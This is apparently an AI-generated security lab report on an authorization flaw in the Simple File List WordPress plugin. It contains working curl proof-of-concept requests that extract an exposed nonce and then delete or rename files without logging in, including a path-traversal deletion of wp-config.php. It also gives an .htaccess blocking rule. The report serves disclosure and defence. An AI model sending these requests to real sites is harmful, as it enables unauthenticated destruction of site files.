
Missing Authorization to Unauthenticated File Modification
| Field | Value |
|---|---|
| CVE ID | CVE-2026-11912 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Affected Plugin | Simple File List |
| Affected Versions | <= 6.3.7 |
| Patched Version | 6.3.8 |
| Published | June 19, 2026 |
| Researcher | Chloe Chamberland - Wordfence |
| Lab Environment | poloss-lab.ddev.site (DDEV) |
The Simple File List plugin for WordPress is vulnerable to arbitrary file modification due to insufficient authorization checks in all versions up to, and including, 6.3.7. This makes it possible for unauthenticated attackers to delete and modify files on the server.
The vulnerability exists because:
AJAX Endpoint Registration: The simplefilelist_edit_job AJAX action is registered with both wp_ajax_ and wp_ajax_nopriv_ hooks, allowing unauthenticated access:
add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
Flawed Authorization Check: The authorization logic in eeSFL_FileEditor() (line 1265) uses:
if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
return;
}
The is_admin() function returns FALSE for AJAX requests, causing the authorization check to short-circuit before the AllowFrontManage setting is evaluated.
Nonce Exposure: The security nonce (eeSFL_ActionNonce) is generated using wp_create_nonce() and exposed in the frontend HTML source code, allowing attackers to extract it without authentication.
During testing, this vulnerability was successfully exploited to DELETE the WordPress configuration file (wp-config.php), completely breaking the site. This demonstrates the critical severity of the path traversal aspect of this vulnerability.
# Get the security nonce from the file list page
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Output: eeSFL_ActionNonce">1c14af78c2
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=test.txt"
# Response: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Edit" \
-d "eeFileName=original.pdf" \
-d "eeFileNameNew=malicious.pdf"
# Response: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=../../wp-config.php"
# Response: SUCCESS (CRITICAL - This breaks the site!)
[eeSFL] shortcode# Block simplefilelist_edit_job AJAX calls
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
</IfModule>
Report generated by Claude Code - WordPress Security Testing Lab Date: June 20, 2026